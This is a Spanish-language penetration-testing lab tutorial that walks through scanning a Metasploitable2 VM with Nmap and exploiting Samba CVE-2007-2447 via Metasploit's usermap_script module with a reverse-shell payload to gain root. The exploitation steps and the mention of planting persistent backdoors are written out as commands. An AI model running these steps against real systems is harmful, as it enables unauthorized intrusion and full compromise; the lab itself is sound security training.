Realizar Pruebas de Penetración con Nmap y Metasploit

NmapNmapBeginner
Practicar Ahora

💡 Este tutorial está traducido por IA desde la versión en inglés. Para ver la versión original, puedes hacer clic aquí

Introducción

En este laboratorio, aprenderá sobre el proceso básico de pruebas de penetración y realizará un ataque práctico utilizando Kali Linux. El objetivo es obtener acceso a una shell remota en un sistema objetivo vulnerable aprovechando una vulnerabilidad conocida de Samba. Este laboratorio ofrece la oportunidad de comprender los pasos implicados en un escenario real de pruebas de penetración y practicar el uso de herramientas de seguridad populares como Nmap y Metasploit.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/host_discovery("Host Discovery Techniques") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") nmap/NmapGroup -.-> nmap/os_version_detection("OS and Version Detection") nmap/NmapGroup -.-> nmap/service_detection("Service Detection") subgraph Lab Skills nmap/installation -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} nmap/port_scanning -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} nmap/host_discovery -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} nmap/target_specification -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} nmap/os_version_detection -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} nmap/service_detection -.-> lab-416117{{"Realizar Pruebas de Penetración con Nmap y Metasploit"}} end

Configuración del entorno de laboratorio

Las pruebas de penetración suelen involucrar los siguientes pasos:

  1. Recopilación de información: Recopile tantos datos como sea posible sobre el sistema objetivo, incluyendo información de red, contenido de sitios web, estructura de directorios, posibles nombres de usuario, puertos abiertos, servicios, nombres de dominio y subdominios. Se pueden utilizar diversas herramientas para este fin.

  2. Escaneo de vulnerabilidades: Utilice herramientas de escaneo para realizar un análisis exhaustivo del sistema objetivo y detectar vulnerabilidades. Hay herramientas de escaneo automatizadas disponibles, o se pueden emplear herramientas manuales para un análisis dirigido de servicios específicos.

  3. Explotación: Una vez identificadas las vulnerabilidades explotables, utilice las herramientas y técnicas adecuadas para obtener un acceso o privilegios de nivel superior en el sistema objetivo. Esto puede implicar la ejecución de código remoto, ataques de inyección u otros métodos.

  4. Mantenimiento del acceso: Cree una puerta trasera o un mecanismo de acceso persistente en el sistema objetivo para facilitar el acceso futuro y evitar la detección.

  5. Informe: Analice los hallazgos y genere un informe detallando las vulnerabilidades descubiertas y los pasos seguidos durante el proceso de pruebas de penetración. Este informe puede ayudar a la organización objetivo a proteger eficazmente sus sistemas.

En resumen, una vez comprendidos los pasos básicos de las pruebas de penetración, es hora de poner en práctica la teoría. A través de ejercicios prácticos, podemos aplicar los conocimientos y habilidades adquiridos para obtener experiencia práctica en el campo de las pruebas de penetración.

En primer lugar, debe configurar el entorno de laboratorio para practicar un escenario de pruebas de penetración.

El entorno de laboratorio consta de dos sistemas:

  1. Contenedor de Kali Linux (Máquina atacante): Este es un contenedor Docker que ejecuta Kali Linux y se utilizará para realizar el ataque.

  2. Máquina virtual Metasploitable2 (Máquina objetivo): Este es un servidor Ubuntu vulnerable que actúa como sistema objetivo.

Para configurar el entorno, siga estos pasos:

  1. Inicie la máquina objetivo Metasploitable2:
sudo virsh start Metasploitable2

Espere a que la máquina objetivo se inicie, puede tardar de 1 a 3 minutos.

  1. Realice un ping a la máquina objetivo para asegurarse de que está en funcionamiento (utilice Ctrl+C para salir):
ping 192.168.122.102
  1. Inicie el contenedor de Kali Linux y acceda a la shell de Bash:
docker run -ti --network host b5b709a49cd5 bash
  1. Pruebe la conectividad de red desde el contenedor de Kali realizando un ping a la máquina objetivo (utilice Ctrl+C para salir):
ping 192.168.122.102

Tanto la máquina atacante como la objetivo ahora deben estar en funcionamiento y accesibles. Está listo para comenzar el proceso de pruebas de penetración.

Realizar un escaneo de vulnerabilidades

En este paso, utilizará la herramienta Nmap en Kali Linux para escanear el sistema objetivo en busca de puertos abiertos y servicios.

  1. Ejecute el siguiente comando de Nmap para realizar un escaneo exhaustivo y guarde la salida en /tmp/report.txt en el contenedor Docker. Puede tardar unos minutos en completarse:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt

A continuación, se explica el significado de las opciones:

  • -p 1-65535: Escanea todos los puertos
  • -T4: Establece la plantilla de temporización (un valor más alto significa un escaneo más rápido)
  • -A: Habilita la detección del sistema operativo y la detección de versiones
  • -v: Aumenta el nivel de detalle
  • >/tmp/report.txt: Redirige la salida a un archivo
  1. Espere a que se complete el escaneo (puede tardar unos minutos).

  2. Analice el informe del escaneo abriendo el archivo /tmp/report.txt con cat:

cat /tmp/report.txt

El informe enumerará los puertos abiertos, los servicios y las versiones que se ejecutan en el sistema objetivo.

  1. Identifique cualquier vulnerabilidad potencial asociada con los servicios y versiones descubiertos durante el escaneo.

En este caso, nos centraremos en el servicio Samba, que tiene una conocida vulnerabilidad de ejecución remota de comandos (CVE-2007-2447) en la versión que se ejecuta en el sistema Metasploitable2. A continuación, se detallan los aspectos de la vulnerabilidad de ejecución remota de comandos USERNAME MAP SCRIPT de Samba (CVE-2007-2447):

  • CVE: CVE-2007-2447
  • Versiones afectadas: Samba 3.0.0 - 3.0.25rc3
  • Descripción de la vulnerabilidad: La vulnerabilidad reside en la forma en que Samba maneja la opción de configuración username map script. Cuando esta opción está habilitada, Samba no sanitiza adecuadamente la entrada del usuario antes de pasarla a la shell /bin/sh, lo que permite a los atacantes remotos ejecutar comandos arbitrarios como el usuario de Samba.

La descripción oficial de la vulnerabilidad de Samba se puede encontrar en: http://samba.org/samba/security/CVE-2007-2447.html

El módulo de explotación de Metasploit que utilizaremos para aprovechar esta vulnerabilidad es exploit/multi/samba/usermap_script. Puede encontrar el código fuente y los comentarios de este módulo en: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb

Explotar la vulnerabilidad utilizando Metasploit

En este paso, utilizará el Framework Metasploit para explotar la vulnerabilidad USERNAME MAP SCRIPT de Samba y obtener acceso a una shell remota en el sistema objetivo.

  1. Inicie la consola de Metasploit:
cd ~
msfconsole
  1. Cargue el módulo de explotación de Samba en la consola de Metasploit:
use exploit/multi/samba/usermap_script
  1. Establezca la carga útil (payload) en cmd/unix/reverse en la consola de Metasploit:
set payload cmd/unix/reverse
  1. Configure la dirección IP y el puerto del objetivo en la consola de Metasploit:
set RHOST 192.168.122.102
set RPORT 445
  1. Establezca la dirección IP local para la shell inversa (reverse shell) en la consola de Metasploit:
set LHOST 192.168.122.1
  1. Verifique las opciones en la consola de Metasploit:
show options
  1. Ejecute la explotación en la consola de Metasploit:
exploit

Si la explotación tiene éxito, debería tener una sesión de shell remota como usuario root en el sistema objetivo.

  1. Después de completar sus pruebas, puede salir de la shell presionando Ctrl+C y escribiendo exit para volver al contenedor de Kali.

Resumen

En este laboratorio, aprendió sobre el proceso básico de pruebas de penetración y adquirió experiencia práctica al realizar un escenario de ataque real. Configuró un entorno de laboratorio con un sistema objetivo vulnerable, realizó un escaneo de vulnerabilidades utilizando Nmap, analizó una conocida vulnerabilidad de Samba y la explotó utilizando el Framework Metasploit para obtener acceso a una shell remota. Esta experiencia práctica le ayudará a comprender mejor las técnicas y herramientas utilizadas en las pruebas de penetración, así como la importancia de las configuraciones seguras de los sistemas y la gestión de vulnerabilidades.